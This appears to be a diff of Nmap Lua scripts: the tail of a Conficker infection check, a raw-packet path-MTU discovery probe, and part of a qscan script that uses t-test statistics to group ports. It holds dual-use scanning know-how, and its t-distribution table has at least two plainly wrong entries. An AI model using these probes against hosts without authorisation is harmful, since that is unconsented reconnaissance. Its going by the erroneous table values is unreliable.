local seed = math.floor((os.time() - 345600) / 604800) local seed = math.floor((os.time() - 345600) / 604800)
local ip = host.ip local ip = host.ip
-- Use the provided IP, if it exists -- Use the provided IP, if it exists
if(nmap.registry.args.realip ~= nil) then if(nmap.registry.args.realip ~= nil) then
ip = nmap.registry.args.realip ip = nmap.registry.args.realip
end end
-- Reverse the IP's endianness -- Reverse the IP's endianness
ip = ipOps.todword(ip) ip = ipOps.todword(ip)
ip = bin.pack(">I", ip) ip = bin.pack(">I", ip)
local _ local _
_, ip = bin.unpack("<I", ip) _, ip = bin.unpack("<I", ip)
-- Generate the ports -- Generate the ports
local generated_ports = prng_generate_ports(ip, seed) local generated_ports = prng_generate_ports(ip, seed)
tcp_ports[generated_ports[1]] = true tcp_ports[generated_ports[1]] = true
tcp_ports[generated_ports[3]] = true tcp_ports[generated_ports[3]] = true
udp_ports[generated_ports[2]] = true udp_ports[generated_ports[2]] = true
udp_ports[generated_ports[4]] = true udp_ports[generated_ports[4]] = true
table.insert(response, string.format("Checking for Conficker.C or higher...")) table.insert(response, string.format("Checking for Conficker.C or higher..."))
-- Check the TCP ports -- Check the TCP ports
for port in pairs(tcp_ports) do for port in pairs(tcp_ports) do
local status, reason local status, reason
status, reason = conficker_check(host.ip, port, "tcp") status, reason = conficker_check(host.ip, port, "tcp")
checks = checks + 1 checks = checks + 1
if(status == true) then if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason)) table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "tcp", reason))
count = count + 1 count = count + 1
else else
table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason)) table.insert(response, string.format("Check %d (port %d/%s): CLEAN (%s)", checks, port, "tcp", reason))
end end
end end
-- Check the UDP ports -- Check the UDP ports
for port in pairs(udp_ports) do for port in pairs(udp_ports) do
local status, reason local status, reason
status, reason = conficker_check(host.ip, port, "udp") status, reason = conficker_check(host.ip, port, "udp")
checks = checks + 1 checks = checks + 1
if(status == true) then if(status == true) then
table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason)) table.insert(response, string.format("Check %d (port %d/%s): INFECTED (%s)", checks, port, "udp", reason))
count = count + 1 count = count + 1
else else
table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason)) table.insert(response, string.format("| Check %d (port %d/%s): CLEAN (%s)", checks, port, "udp", reason))
end end
end end
-- Check how many INFECTED hits we got -- Check how many INFECTED hits we got
if(count == 0) then if(count == 0) then
if (nmap.verbosity() > 1) then if (nmap.verbosity() > 1) then
table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks)) table.insert(response, string.format("%d/%d checks are positive: Host is CLEAN or ports are blocked", count, checks))
else else
response = '' response = ''
end end
else else
table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks)) table.insert(response, string.format("%d/%d checks are positive: Host is likely INFECTED", count, checks))
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -57,346 +57,346 @@ local RETRIES = 1
-- here since we skip down the list based on the outgoing interface -- here since we skip down the list based on the outgoing interface
-- so its no harm. -- so its no harm.
local MTUS = { local MTUS = {
65535, 65535,
32000, 32000,
17914, 17914,
8166, 8166,
4352, 4352,
2002, 2002,
1492, 1492,
1006, 1006,
508, 508,
296, 296,
68 68
} }
-- Find the index in MTUS{} to use based on the MTU +new+. If +new+ is in -- Find the index in MTUS{} to use based on the MTU +new+. If +new+ is in
-- between values in MTUS, then insert it into the table appropriately. -- between values in MTUS, then insert it into the table appropriately.
local searchmtu = function(cidx, new) local searchmtu = function(cidx, new)
if new == 0 then if new == 0 then
return cidx return cidx
end end
while cidx <= #MTUS do while cidx <= #MTUS do
if new >= MTUS[cidx] then if new >= MTUS[cidx] then
if new ~= MTUS[cidx] then if new ~= MTUS[cidx] then
table.insert(MTUS, cidx, new) table.insert(MTUS, cidx, new)
end end
return cidx return cidx
end end
cidx = cidx + 1 cidx = cidx + 1
end end
return cidx return cidx
end end
local dport = function(ip) local dport = function(ip)
if ip.ip_p == IPPROTO_TCP then if ip.ip_p == IPPROTO_TCP then
return ip.tcp_dport return ip.tcp_dport
elseif ip.ip_p == IPPROTO_UDP then elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_dport return ip.udp_dport
end end
end end
local sport = function(ip) local sport = function(ip)
if ip.ip_p == IPPROTO_TCP then if ip.ip_p == IPPROTO_TCP then
return ip.tcp_sport return ip.tcp_sport
elseif ip.ip_p == IPPROTO_UDP then elseif ip.ip_p == IPPROTO_UDP then
return ip.udp_sport return ip.udp_sport
end end
end end
-- Checks how we should react to this packet -- Checks how we should react to this packet
local checkpkt = function(reply, orig) local checkpkt = function(reply, orig)
local ip = packet.Packet:new(reply, reply:len()) local ip = packet.Packet:new(reply, reply:len())
if ip.ip_p == IPPROTO_ICMP then if ip.ip_p == IPPROTO_ICMP then
if ip.icmp_type ~= 3 then if ip.icmp_type ~= 3 then
return "recap" return "recap"
end end
-- Port Unreachable -- Port Unreachable
if ip.icmp_code == 3 then if ip.icmp_code == 3 then
local is = ip.buf:sub(ip.icmp_offset + 9) local is = ip.buf:sub(ip.icmp_offset + 9)
local ip2 = packet.Packet:new(is, is:len()) local ip2 = packet.Packet:new(is, is:len())
-- Check sent packet against ICMP payload -- Check sent packet against ICMP payload
if ip2.ip_p ~= IPPROTO_UDP or if ip2.ip_p ~= IPPROTO_UDP or
ip2.ip_p ~= orig.ip_p or ip2.ip_p ~= orig.ip_p or
ip2.ip_bin_src ~= orig.ip_bin_src or ip2.ip_bin_src ~= orig.ip_bin_src or
ip2.ip_bin_dst ~= orig.ip_bin_dst or ip2.ip_bin_dst ~= orig.ip_bin_dst or
sport(ip2) ~= sport(orig) or sport(ip2) ~= sport(orig) or
dport(ip2) ~= dport(orig) then dport(ip2) ~= dport(orig) then
return "recap" return "recap"
end end
return "gotreply" return "gotreply"
end end
-- Frag needed, DF set -- Frag needed, DF set
if ip.icmp_code == 4 then if ip.icmp_code == 4 then
local val = ip:u16(ip.icmp_offset + 6) local val = ip:u16(ip.icmp_offset + 6)
return "nextmtu", val return "nextmtu", val
end end
return "recap" return "recap"
end end
if ip.ip_p ~= orig.ip_p or if ip.ip_p ~= orig.ip_p or
ip.ip_bin_src ~= orig.ip_bin_dst or ip.ip_bin_src ~= orig.ip_bin_dst or
ip.ip_bin_dst ~= orig.ip_bin_src or ip.ip_bin_dst ~= orig.ip_bin_src or
dport(ip) ~= sport(orig) or dport(ip) ~= sport(orig) or
sport(ip) ~= dport(orig) then sport(ip) ~= dport(orig) then
return "recap" return "recap"
end end
return "gotreply" return "gotreply"
end end
-- This is all we can use since we can get various protocols back from -- This is all we can use since we can get various protocols back from
-- different hosts -- different hosts
local check = function(layer3) local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len()) local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('A', ip.ip_bin_dst) return bin.pack('A', ip.ip_bin_dst)
end end
-- Updates a packet's info and calculates checksum -- Updates a packet's info and calculates checksum
local updatepkt = function(ip) local updatepkt = function(ip)
if ip.ip_p == IPPROTO_TCP then if ip.ip_p == IPPROTO_TCP then
ip:tcp_set_sport(math.random(0x401, 0xffff)) ip:tcp_set_sport(math.random(0x401, 0xffff))
ip:tcp_set_seq(math.random(1, 0x7fffffff)) ip:tcp_set_seq(math.random(1, 0x7fffffff))
ip:tcp_count_checksum() ip:tcp_count_checksum()
elseif ip.ip_p == IPPROTO_UDP then elseif ip.ip_p == IPPROTO_UDP then
ip:udp_set_sport(math.random(0x401, 0xffff)) ip:udp_set_sport(math.random(0x401, 0xffff))
ip:udp_set_length(ip.ip_len - ip.ip_hl * 4) ip:udp_set_length(ip.ip_len - ip.ip_hl * 4)
ip:udp_count_checksum() ip:udp_count_checksum()
end end
ip:ip_count_checksum() ip:ip_count_checksum()
end end
-- Set up packet header and data to satisfy a certain MTU -- Set up packet header and data to satisfy a certain MTU
local setmtu = function(pkt, mtu) local setmtu = function(pkt, mtu)
if pkt.ip_len < mtu then if pkt.ip_len < mtu then
pkt.buf = pkt.buf .. string.rep("\0", mtu - pkt.ip_len) pkt.buf = pkt.buf .. string.rep("\0", mtu - pkt.ip_len)
else else
pkt.buf = pkt.buf:sub(1, mtu) pkt.buf = pkt.buf:sub(1, mtu)
end end
pkt:ip_set_len(mtu) pkt:ip_set_len(mtu)
pkt.packet_length = mtu pkt.packet_length = mtu
updatepkt(pkt) updatepkt(pkt)
end end
local basepkt = function(proto) local basepkt = function(proto)
local ibin = bin.pack("H", local ibin = bin.pack("H",
"4500 0014 0000 4000 8000 0000 0000 0000 0000 0000" "4500 0014 0000 4000 8000 0000 0000 0000 0000 0000"
) )
local tbin = bin.pack("H", local tbin = bin.pack("H",
"0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4" "0000 0000 0000 0000 0000 0000 6002 0c00 0000 0000 0204 05b4"
) )
local ubin = bin.pack("H", local ubin = bin.pack("H",
"0000 0000 0800 0000" "0000 0000 0800 0000"
) )
if proto == IPPROTO_TCP then if proto == IPPROTO_TCP then
return ibin .. tbin return ibin .. tbin
elseif proto == IPPROTO_UDP then elseif proto == IPPROTO_UDP then
return ibin .. ubin return ibin .. ubin
end end
end end
-- Creates a Packet object for the given proto and port -- Creates a Packet object for the given proto and port
local genericpkt = function(host, proto, port) local genericpkt = function(host, proto, port)
local pkt = basepkt(proto) local pkt = basepkt(proto)
local ip = packet.Packet:new(pkt, pkt:len()) local ip = packet.Packet:new(pkt, pkt:len())
ip:ip_set_bin_src(host.bin_ip_src) ip:ip_set_bin_src(host.bin_ip_src)
ip:ip_set_bin_dst(host.bin_ip) ip:ip_set_bin_dst(host.bin_ip)
ip:set_u8(ip.ip_offset + 9, proto) ip:set_u8(ip.ip_offset + 9, proto)
ip.ip_p = proto ip.ip_p = proto
ip:ip_set_len(pkt:len()) ip:ip_set_len(pkt:len())
if proto == IPPROTO_TCP then if proto == IPPROTO_TCP then
ip:tcp_parse(false) ip:tcp_parse(false)
ip:tcp_set_dport(port) ip:tcp_set_dport(port)
elseif proto == IPPROTO_UDP then elseif proto == IPPROTO_UDP then
ip:udp_parse(false) ip:udp_parse(false)
ip:udp_set_dport(port) ip:udp_set_dport(port)
end end
updatepkt(ip) updatepkt(ip)
return ip return ip
end end
local ipproto = function(p) local ipproto = function(p)
if p == "tcp" then if p == "tcp" then
return IPPROTO_TCP return IPPROTO_TCP
elseif p == "udp" then elseif p == "udp" then
return IPPROTO_UDP return IPPROTO_UDP
end end
return -1 return -1
end end
-- Determines how to probe -- Determines how to probe
local getprobe = function(host) local getprobe = function(host)
local combos = { local combos = {
{ "tcp", "open" }, { "tcp", "open" },
{ "tcp", "closed" }, { "tcp", "closed" },
-- udp/open probably only happens when Nmap sends proper -- udp/open probably only happens when Nmap sends proper
-- payloads, which doesn't happen in here -- payloads, which doesn't happen in here
{ "udp", "closed" } { "udp", "closed" }
} }
local proto = nil local proto = nil
local port = nil local port = nil
for _, c in ipairs(combos) do for _, c in ipairs(combos) do
port = nmap.get_ports(host, nil, c[1], c[2]) port = nmap.get_ports(host, nil, c[1], c[2])
if port then if port then
proto = c[1] proto = c[1]
break break
end end
end end
return proto, port return proto, port
end end
-- Sets necessary probe data in registry -- Sets necessary probe data in registry
local setreg = function(host, proto, port) local setreg = function(host, proto, port)
host.registry['pathmtuprobe'] = { host.registry['pathmtuprobe'] = {
['proto'] = proto, ['proto'] = proto,
['port'] = port ['port'] = port
} }
end end
hostrule = function(host) hostrule = function(host)
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end end
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
return nil return nil
end end
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
if not (host.interface and host.interface_mtu) then if not (host.interface and host.interface_mtu) then
return false return false
end end
local proto, port = getprobe(host) local proto, port = getprobe(host)
if not (proto and port) then if not (proto and port) then
return false return false
end end
setreg(host, proto, port.number) setreg(host, proto, port.number)
return true return true
end end
action = function(host) action = function(host)
local m, r local m, r
local gotit = false local gotit = false
local mtuset local mtuset
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local proto = host.registry['pathmtuprobe']['proto'] local proto = host.registry['pathmtuprobe']['proto']
local port = host.registry['pathmtuprobe']['port'] local port = host.registry['pathmtuprobe']['port']
local saddr = packet.toip(host.bin_ip_src) local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip) local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try() local try = nmap.new_try()
local status, pkt, ip local status, pkt, ip
try(sock:ip_open()) try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end) try = nmap.new_try(function() sock:ip_close() end)
pcap:pcap_open(host.interface, 104, false, "dst host " .. saddr .. " and (icmp or (" .. proto .. " and src host " .. daddr .. " and src port " .. port .. "))") pcap:pcap_open(host.interface, 104, false, "dst host " .. saddr .. " and (icmp or (" .. proto .. " and src host " .. daddr .. " and src port " .. port .. "))")
-- Since we're sending potentially large amounts of data per packet, -- Since we're sending potentially large amounts of data per packet,
-- simply bump up the host's calculated timeout value. Most replies -- simply bump up the host's calculated timeout value. Most replies
-- should come from routers along the path, fragmentation reassembly -- should come from routers along the path, fragmentation reassembly
-- times isn't an issue and the large amount of data is only travelling -- times isn't an issue and the large amount of data is only travelling
-- in one direction; still, we want a response from the target so call -- in one direction; still, we want a response from the target so call
-- it 1.5*timeout to play it safer. -- it 1.5*timeout to play it safer.
pcap:set_timeout(1.5 * host.times.timeout * 1000) pcap:set_timeout(1.5 * host.times.timeout * 1000)
m = searchmtu(1, host.interface_mtu) m = searchmtu(1, host.interface_mtu)
mtuset = MTUS[m] mtuset = MTUS[m]
local pkt = genericpkt(host, ipproto(proto), port) local pkt = genericpkt(host, ipproto(proto), port)
while m <= #MTUS do while m <= #MTUS do
setmtu(pkt, MTUS[m]) setmtu(pkt, MTUS[m])
r = 0 r = 0
status = false status = false
while true do while true do
if not status then if not status then
if not sock:ip_send(pkt.buf, host) then if not sock:ip_send(pkt.buf, host) then
-- Got a send error, perhaps EMSGSIZE -- Got a send error, perhaps EMSGSIZE
-- when we don't know our interface's -- when we don't know our interface's
-- MTU. Drop an MTU and keep trying. -- MTU. Drop an MTU and keep trying.
break break
end end
end end
local test = bin.pack('A', pkt.ip_bin_src) local test = bin.pack('A', pkt.ip_bin_src)
local status, length, _, layer3 = pcap:pcap_receive() local status, length, _, layer3 = pcap:pcap_receive()
while status and test ~= check(layer3) do while status and test ~= check(layer3) do
status, length, _, layer3 = pcap:pcap_receive() status, length, _, layer3 = pcap:pcap_receive()
end end
if status then if status then
local t, v = checkpkt(layer3, pkt) local t, v = checkpkt(layer3, pkt)
if t == "gotreply" then if t == "gotreply" then
gotit = true gotit = true
break break
elseif t == "recap" then elseif t == "recap" then
elseif t == "nextmtu" then elseif t == "nextmtu" then
if v == 0 then if v == 0 then
-- Router didn't send its -- Router didn't send its
-- next-hop MTU. Just drop -- next-hop MTU. Just drop
-- a level. -- a level.
break break
end end
-- Lua's lack of a continue statement -- Lua's lack of a continue statement
-- for loop control sucks, so dec m -- for loop control sucks, so dec m
-- here as it's inc'd below. Ugh. -- here as it's inc'd below. Ugh.
m = searchmtu(m, v) - 1 m = searchmtu(m, v) - 1
mtuset = v mtuset = v
break break
end end
else else
if r >= RETRIES then if r >= RETRIES then
break break
end end
r = r + 1 r = r + 1
end end
end end
if gotit then if gotit then
break break
end end
m = m + 1 m = m + 1
end end
pcap:close() pcap:close()
sock:ip_close() sock:ip_close()
if not gotit then if not gotit then
if nmap.debugging() > 0 then if nmap.debugging() > 0 then
return "Error: Unable to determine PMTU (no replies)" return "Error: Unable to determine PMTU (no replies)"
end end
return return
end end
if MTUS[m] == mtuset then if MTUS[m] == mtuset then
return "PMTU == " .. MTUS[m] return "PMTU == " .. MTUS[m]
elseif m == 1 then elseif m == 1 then
return "PMTU >= " .. MTUS[m] return "PMTU >= " .. MTUS[m]
else else
return "" .. MTUS[m] .. " <= PMTU < " .. MTUS[m - 1] return "" .. MTUS[m] .. " <= PMTU < " .. MTUS[m - 1]
end end
end end

View File

@@ -8,22 +8,22 @@ local tab = require "tab"
local table = require "table" local table = require "table"
description = [[ description = [[
Repeatedly probe open and/or closed ports on a host to obtain a series Repeatedly probe open and/or closed ports on a host to obtain a series
of round-trip time values for each port. These values are used to of round-trip time values for each port. These values are used to
group collections of ports which are statistically different from other group collections of ports which are statistically different from other
groups. Ports being in different groups (or "families") may be due to groups. Ports being in different groups (or "families") may be due to
network mechanisms such as port forwarding to machines behind a NAT. network mechanisms such as port forwarding to machines behind a NAT.
In order to group these ports into different families, some statistical In order to group these ports into different families, some statistical
values must be computed. Among these values are the mean and standard values must be computed. Among these values are the mean and standard
deviation of the round-trip times for each port. Once all of the times deviation of the round-trip times for each port. Once all of the times
have been recorded and these values have been computed, the Student's have been recorded and these values have been computed, the Student's
t-test is used to test the statistical significance of the differences t-test is used to test the statistical significance of the differences
between each port's data. Ports which have round-trip times that are between each port's data. Ports which have round-trip times that are
statistically the same are grouped together in the same family. statistically the same are grouped together in the same family.
This script is based on Doug Hoyte's Qscan documentation and patches This script is based on Doug Hoyte's Qscan documentation and patches
for Nmap. for Nmap.
]] ]]
-- See http://hcsw.org/nmap/QSCAN for more on Doug's research -- See http://hcsw.org/nmap/QSCAN for more on Doug's research
@@ -69,38 +69,38 @@ local NUMCLOSED = 1
-- The following tdist{} and tinv() are based off of -- The following tdist{} and tinv() are based off of
-- http://www.owlnet.rice.edu/~elec428/projects/tinv.c -- http://www.owlnet.rice.edu/~elec428/projects/tinv.c
local tdist = { local tdist = {
-- 75% 90% 95% 97.5% 99% 99.5% 99.95% -- 75% 90% 95% 97.5% 99% 99.5% 99.95%
{ 1.0000, 3.0777, 6.3138, 12.7062, 31.8207, 63.6574, 636.6192 }, -- 1 { 1.0000, 3.0777, 6.3138, 12.7062, 31.8207, 63.6574, 636.6192 }, -- 1
{ 0.8165, 1.8856, 2.9200, 4.3027, 6.9646, 9.9248, 31.5991 }, -- 2 { 0.8165, 1.8856, 2.9200, 4.3027, 6.9646, 9.9248, 31.5991 }, -- 2
{ 0.7649, 1.6377, 2.3534, 3.1824, 4.5407, 5.8409, 12.9240 }, -- 3 { 0.7649, 1.6377, 2.3534, 3.1824, 4.5407, 5.8409, 12.9240 }, -- 3
{ 0.7407, 1.5332, 2.1318, 2.7764, 3.7649, 4.6041, 8.6103 }, -- 4 { 0.7407, 1.5332, 2.1318, 2.7764, 3.7649, 4.6041, 8.6103 }, -- 4
{ 0.7267, 1.4759, 2.0150, 2.5706, 3.3649, 4.0322, 6.8688 }, -- 5 { 0.7267, 1.4759, 2.0150, 2.5706, 3.3649, 4.0322, 6.8688 }, -- 5
{ 0.7176, 1.4398, 1.9432, 2.4469, 3.1427, 3.7074, 5.9588 }, -- 6 { 0.7176, 1.4398, 1.9432, 2.4469, 3.1427, 3.7074, 5.9588 }, -- 6
{ 0.7111, 1.4149, 1.8946, 2.3646, 2.9980, 3.4995, 5.4079 }, -- 7 { 0.7111, 1.4149, 1.8946, 2.3646, 2.9980, 3.4995, 5.4079 }, -- 7
{ 0.7064, 1.3968, 1.8595, 3.3060, 2.8965, 3.3554, 5.0413 }, -- 8 { 0.7064, 1.3968, 1.8595, 3.3060, 2.8965, 3.3554, 5.0413 }, -- 8
{ 0.7027, 1.3830, 1.8331, 2.2622, 2.8214, 3.2498, 4.7809 }, -- 9 { 0.7027, 1.3830, 1.8331, 2.2622, 2.8214, 3.2498, 4.7809 }, -- 9
{ 0.6998, 1.3722, 1.8125, 2.2281, 2.7638, 1.1693, 4.5869 }, -- 10 { 0.6998, 1.3722, 1.8125, 2.2281, 2.7638, 1.1693, 4.5869 }, -- 10
{ 0.6974, 1.3634, 1.7959, 2.2010, 2.7181, 3.1058, 4.4370 }, -- 11 { 0.6974, 1.3634, 1.7959, 2.2010, 2.7181, 3.1058, 4.4370 }, -- 11
{ 0.6955, 1.3562, 1.7823, 2.1788, 2.6810, 3.0545, 4.3178 }, -- 12 { 0.6955, 1.3562, 1.7823, 2.1788, 2.6810, 3.0545, 4.3178 }, -- 12
{ 0.6938, 1.3502, 1.7709, 2.1604, 2.6403, 3.0123, 4.2208 }, -- 13 { 0.6938, 1.3502, 1.7709, 2.1604, 2.6403, 3.0123, 4.2208 }, -- 13
{ 0.6924, 1.3450, 1.7613, 2.1448, 2.6245, 2.9768, 4.1405 }, -- 14 { 0.6924, 1.3450, 1.7613, 2.1448, 2.6245, 2.9768, 4.1405 }, -- 14
{ 0.6912, 1.3406, 1.7531, 2.1315, 2.6025, 2.9467, 4.0728 }, -- 15 { 0.6912, 1.3406, 1.7531, 2.1315, 2.6025, 2.9467, 4.0728 }, -- 15
{ 0.6901, 1.3368, 1.7459, 2.1199, 2.5835, 2.9208, 4.0150 }, -- 16 { 0.6901, 1.3368, 1.7459, 2.1199, 2.5835, 2.9208, 4.0150 }, -- 16
{ 0.6892, 1.3334, 1.7396, 2.1098, 2.5669, 2.8982, 3.9651 }, -- 17 { 0.6892, 1.3334, 1.7396, 2.1098, 2.5669, 2.8982, 3.9651 }, -- 17
{ 0.6884, 1.3304, 1.7341, 2.1009, 2.5524, 2.8784, 3.9216 }, -- 18 { 0.6884, 1.3304, 1.7341, 2.1009, 2.5524, 2.8784, 3.9216 }, -- 18
{ 0.6876, 1.3277, 1.7291, 2.0930, 2.5395, 2.8609, 3.8834 }, -- 19 { 0.6876, 1.3277, 1.7291, 2.0930, 2.5395, 2.8609, 3.8834 }, -- 19
{ 0.6870, 1.3253, 1.7247, 2.0860, 2.5280, 2.8453, 3.8495 }, -- 20 { 0.6870, 1.3253, 1.7247, 2.0860, 2.5280, 2.8453, 3.8495 }, -- 20
{ 0.6844, 1.3163, 1.7081, 2.0595, 2.4851, 2.7874, 3.7251 }, -- 25 { 0.6844, 1.3163, 1.7081, 2.0595, 2.4851, 2.7874, 3.7251 }, -- 25
{ 0.6828, 1.3104, 1.6973, 2.0423, 2.4573, 2.7500, 3.6460 }, -- 30 { 0.6828, 1.3104, 1.6973, 2.0423, 2.4573, 2.7500, 3.6460 }, -- 30
{ 0.6816, 1.3062, 1.6896, 2.0301, 2.4377, 2.7238, 3.5911 }, -- 35 { 0.6816, 1.3062, 1.6896, 2.0301, 2.4377, 2.7238, 3.5911 }, -- 35
{ 0.6807, 1.3031, 1.6839, 2.0211, 2.4233, 2.7045, 3.5510 }, -- 40 { 0.6807, 1.3031, 1.6839, 2.0211, 2.4233, 2.7045, 3.5510 }, -- 40
{ 0.6800, 1.3006, 1.6794, 2.0141, 2.4121, 2.6896, 3.5203 }, -- 45 { 0.6800, 1.3006, 1.6794, 2.0141, 2.4121, 2.6896, 3.5203 }, -- 45
{ 0.6794, 1.2987, 1.6759, 2.0086, 2.4033, 2.6778, 3.4960 }, -- 50 { 0.6794, 1.2987, 1.6759, 2.0086, 2.4033, 2.6778, 3.4960 }, -- 50
{ 0.6786, 1.2958, 1.6706, 2.0003, 2.3901, 2.6603, 3.4602 }, -- 60 { 0.6786, 1.2958, 1.6706, 2.0003, 2.3901, 2.6603, 3.4602 }, -- 60
{ 0.6780, 1.2938, 1.6669, 1.9944, 2.3808, 2.6479, 3.4350 }, -- 70 { 0.6780, 1.2938, 1.6669, 1.9944, 2.3808, 2.6479, 3.4350 }, -- 70
{ 0.6776, 1.2922, 1.6641, 1.9901, 2.3739, 2.6387, 3.4163 }, -- 80 { 0.6776, 1.2922, 1.6641, 1.9901, 2.3739, 2.6387, 3.4163 }, -- 80
{ 0.6772, 1.2910, 1.6620, 1.9867, 2.3685, 2.6316, 3.4019 }, -- 90 { 0.6772, 1.2910, 1.6620, 1.9867, 2.3685, 2.6316, 3.4019 }, -- 90
{ 0.6770, 1.2901, 1.6602, 1.9840, 2.3642, 2.6259, 3.3905 } -- 100 { 0.6770, 1.2901, 1.6602, 1.9840, 2.3642, 2.6259, 3.3905 } -- 100
} }
-- cache ports to probe between the hostrule and the action function -- cache ports to probe between the hostrule and the action function
@@ -108,391 +108,391 @@ local qscanports
local tinv = function(p, dof) local tinv = function(p, dof)
local din, pin local din, pin
if dof >= 1 and dof <= 20 then if dof >= 1 and dof <= 20 then
din = dof din = dof
elseif dof < 25 then elseif dof < 25 then
din = 20 din = 20
elseif dof < 30 then elseif dof < 30 then
din = 21 din = 21
elseif dof < 35 then elseif dof < 35 then
din = 22 din = 22
elseif dof < 40 then elseif dof < 40 then
din = 23 din = 23
elseif dof < 45 then elseif dof < 45 then
din = 24 din = 24
elseif dof < 50 then elseif dof < 50 then
din = 25 din = 25
elseif dof < 60 then elseif dof < 60 then
din = 26 din = 26
elseif dof < 70 then elseif dof < 70 then
din = 27 din = 27
elseif dof < 80 then elseif dof < 80 then
din = 28 din = 28
elseif dof < 90 then elseif dof < 90 then
din = 29 din = 29
elseif dof < 100 then elseif dof < 100 then
din = 30 din = 30
elseif dof >= 100 then elseif dof >= 100 then
din = 31 din = 31
end end
if p == 0.75 then if p == 0.75 then
pin = 1 pin = 1
elseif p == 0.9 then elseif p == 0.9 then
pin = 2 pin = 2
elseif p == 0.95 then elseif p == 0.95 then
pin = 3 pin = 3
elseif p == 0.975 then elseif p == 0.975 then
pin = 4 pin = 4
elseif p == 0.99 then elseif p == 0.99 then
pin = 5 pin = 5
elseif p == 0.995 then elseif p == 0.995 then
pin = 6 pin = 6
elseif p == 0.9995 then elseif p == 0.9995 then
pin = 7 pin = 7
end end
return tdist[din][pin] return tdist[din][pin]
end end
--- Calculates intermediate t statistic --- Calculates intermediate t statistic
local tstat = function(n1, n2, u1, u2, v1, v2) local tstat = function(n1, n2, u1, u2, v1, v2)
local dof = n1 + n2 - 2 local dof = n1 + n2 - 2
local a = (n1 + n2) / (n1 * n2) local a = (n1 + n2) / (n1 * n2)
--local b = ((n1 - 1) * (s1 * s1) + (n2 - 1) * (s2 * s2)) --local b = ((n1 - 1) * (s1 * s1) + (n2 - 1) * (s2 * s2))
local b = ((n1 - 1) * v1) + ((n2 - 1) * v2) local b = ((n1 - 1) * v1) + ((n2 - 1) * v2)
return math.abs(u1 - u2) / math.sqrt(a * (b / dof)) return math.abs(u1 - u2) / math.sqrt(a * (b / dof))
end end
--- Pcap check --- Pcap check
-- @return Destination and source IP addresses and TCP ports -- @return Destination and source IP addresses and TCP ports
local check = function(layer3) local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len()) local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport) return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
end end
--- Updates a TCP Packet object --- Updates a TCP Packet object
-- @param tcp The TCP object -- @param tcp The TCP object
local updatepkt = function(tcp, dport) local updatepkt = function(tcp, dport)
tcp:tcp_set_sport(math.random(0x401, 0xffff)) tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_dport(dport) tcp:tcp_set_dport(dport)
tcp:tcp_set_seq(math.random(1, 0x7fffffff)) tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len) tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum() tcp:ip_count_checksum()
end end
--- Create a TCP Packet object --- Create a TCP Packet object
-- @param host Host object -- @param host Host object
-- @return TCP Packet object -- @return TCP Packet object
local genericpkt = function(host) local genericpkt = function(host)
local pkt = bin.pack("H", local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" .. "4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" .. "0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4" "6002 0c00 0000 0000 0204 05b4"
) )
local tcp = packet.Packet:new(pkt, pkt:len()) local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src) tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip) tcp:ip_set_bin_dst(host.bin_ip)
updatepkt(tcp, 0) updatepkt(tcp, 0)
return tcp return tcp
end end
--- Calculates "family" values for grouping --- Calculates "family" values for grouping
-- @param stats Statistics table -- @param stats Statistics table
-- @param conf Confidence level -- @param conf Confidence level
local calcfamilies = function(stats, conf) local calcfamilies = function(stats, conf)
local i, j local i, j
local famidx = 0 local famidx = 0
local stat local stat
local crit local crit
for _, i in pairs(stats) do repeat for _, i in pairs(stats) do repeat
if i.fam ~= -1 then if i.fam ~= -1 then
break break
end end
i.fam = famidx i.fam = famidx
famidx = famidx + 1 famidx = famidx + 1
for _, j in pairs(stats) do repeat for _, j in pairs(stats) do repeat
if j.port == i.port or j.fam ~= -1 then if j.port == i.port or j.fam ~= -1 then
break break
end end
